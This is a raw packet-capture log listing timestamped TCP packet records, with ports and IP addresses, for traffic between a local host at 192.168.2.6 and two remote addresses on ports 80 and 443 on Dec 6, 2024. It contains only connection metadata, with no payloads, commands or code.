Dec 6, 2024 18:45:51.239507914 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.239547014 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.240329027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.240387917 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.240461111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.240583897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.241472006 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.241498947 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.241524935 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.241540909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.242643118 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.242655039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.242691994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.242707968 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.243612051 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.243693113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.243736982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.244777918 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.244818926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.245588064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.245636940 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.245732069 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.245748043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.245771885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.245784044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.246857882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.246901989 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.246992111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.247030973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.247915030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.247965097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.248379946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.248445988 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.248950958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.248996019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.249231100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.249268055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.250186920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.250241041 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.250324965 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.250363111 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.251152039 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.251251936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.251300097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.252207041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.252244949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.252657890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.252763033 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.253232956 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.253282070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.253684998 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.253772020 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.254297018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.254343987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.254532099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.254580021 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.255362988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.255475044 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.255536079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.256407022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.256459951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.290672064 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.290690899 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.290733099 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.290747881 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.290767908 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.290787935 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.321206093 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.321227074 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.321258068 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.321265936 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.321311951 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.321311951 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.344266891 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.344283104 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.344315052 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.344325066 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.344356060 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.344367981 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.365396023 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.365422964 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.365461111 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.365477085 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.365488052 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.365508080 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.392407894 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.392460108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.392940998 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.392955065 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.392990112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.392991066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.393030882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.393055916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.393965006 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.394059896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.394642115 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.394741058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.395026922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.395163059 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.395270109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.395332098 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.396218061 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.396265030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.396673918 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.396821022 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.397855043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.397900105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.398299932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.398312092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.398353100 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.398411989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.398452044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.399394989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.399444103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.399488926 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.399594069 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.400531054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.400571108 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.400660038 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.400729895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.401487112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.401539087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.401668072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.401714087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.402575016 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.402622938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.403161049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.403203964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.403637886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.403687954 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.404253006 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.404299021 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.404732943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.404776096 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.404845953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.404961109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.405790091 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.405839920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.405868053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.405915976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.406944990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.406990051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.407605886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.407654047 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.408035994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.408066988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.408107996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.409028053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.409090042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.409822941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.409867048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.410124063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.410164118 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.410229921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.410429955 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.411125898 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.411164999 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.411221027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.411262035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.412266970 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.412309885 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.412451982 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.412498951 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.413320065 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.413465023 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.413472891 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.413501024 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.414392948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.414480925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.414490938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.414520979 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.415455103 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.415508032 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.416420937 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.416471004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.416608095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.416657925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.416956902 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.417002916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.417563915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.417609930 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.418363094 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.418409109 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.418716908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.418729067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.418770075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.419753075 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.419800043 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.420308113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.420351982 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.420828104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.420840979 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.420867920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.420888901 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.421902895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.421956062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.422060966 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.422101021 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.422929049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.422970057 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.423186064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.423230886 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.424005985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.424073935 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.424144983 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.424232960 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.425091028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.425133944 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.425739050 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.425781012 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.426312923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.426323891 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.426367044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.427232981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.427273989 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.428055048 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.428093910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.428329945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.428383112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.428425074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.429402113 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.429455042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.430068970 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.430219889 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.430475950 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.430557013 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.430588961 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.430628061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.431510925 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.431555986 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.431791067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.431830883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.432590008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.432631969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.432910919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.433064938 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.433646917 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.433687925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.433722019 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.433854103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.434731960 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.434771061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.435848951 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.435862064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.435882092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.435890913 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.435918093 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.436923981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.436969042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.437110901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.437154055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.438035965 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.438087940 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.438218117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.438252926 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.439043045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.439096928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.439114094 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.439172983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.440093994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.440136909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.440213919 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.440253019 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.441163063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.441204071 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.441473007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.441513062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.442373991 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.442414045 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.442728043 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.442766905 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.443339109 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.443381071 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.443463087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.443501949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.444415092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.444458961 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.444590092 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.444674015 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.445470095 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.445513010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.445758104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.445796013 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.446577072 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.446618080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.446712971 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.446800947 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.448946953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.448996067 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.449671030 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.449712038 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.450015068 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.450074911 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.476599932 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.476634026 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.476665020 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.476680994 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.476722002 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.476742029 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.493031979 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.493052006 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.493103027 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.493110895 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.493155956 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.506402969 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.506427050 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.506477118 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.506484032 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.506557941 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.520216942 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.520239115 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.520279884 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.520289898 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.520333052 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.534831047 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.534854889 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.534894943 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.534904003 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.534954071 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.548316956 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.548338890 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.548378944 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.548384905 CET	443	49824	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:51.548429012 CET	49824	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:51.589648008 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.589709044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.589972973 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.590018034 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.590240002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.590287924 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.590600967 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.590642929 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.591195107 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.591233969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.591429949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.591475964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.592302084 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.592369080 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:51.593240023 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:51.593291998 CET	49796	80	192.168.2.6	185.215.113.206
